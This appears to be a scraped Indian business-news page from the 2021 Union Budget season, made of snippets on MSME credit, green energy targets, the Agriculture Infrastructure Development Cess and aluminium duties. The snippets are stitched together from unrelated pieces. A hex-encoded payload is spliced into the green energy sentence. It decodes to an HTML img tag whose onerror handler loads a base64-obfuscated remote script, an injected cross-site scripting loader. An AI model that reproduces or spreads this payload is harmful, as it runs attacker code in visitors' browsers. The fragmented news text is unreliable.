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Steps should be taken in the upcoming Union Budget to ensure hassle-free credit availability to industry, particularly for MSMEs, and reduce the costs of doing business, said Pradeep Multani, President, PHD Chamber of Commerce and Industry.
The government will likely put in place strategies to bring India closer to its green energy target and equitable energy access">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742e626f64792">
A return of consumer confidence in renewable energy sources, improved financial market conditions, and an increase in manufacturing and export activities in the country would be crucial.
All you wanted to know about Agriculture Infrastructure Development Cess × The Budget for 2021-22 may have refrained from tinkering with your taxes, but it has proposed a new levy — Agriculture Infrastructure Development Cess. What is it? Cess is a kind of special-purpose tax which is levied over and above basic tax rates. The purpose of the new AIDC is to raise funds to finance spending on developing agriculture infrastructure. Considering that not much private investment is forthcoming for agriculture, the Centre now seeks to raise a dedicated fund to meet these expenses. In her Budget...
Budget 2021: Aluminium industry seeks raise in basic custom duty The industry has also sought reduction in basic custom duty and correction of inverted duty structure on critical raw materials for aluminium industry value chain like aluminium fluoride and coal tar pitch PTI | January 20, 2021 | Updated 08:44 IST The industry is not able to compete effectively in the global markets as the burden of central and state taxes and levies amounting to 15 per cent of aluminium production cost puts the domestic industry in a significant disadvantage compared to its global peers The aluminium industry...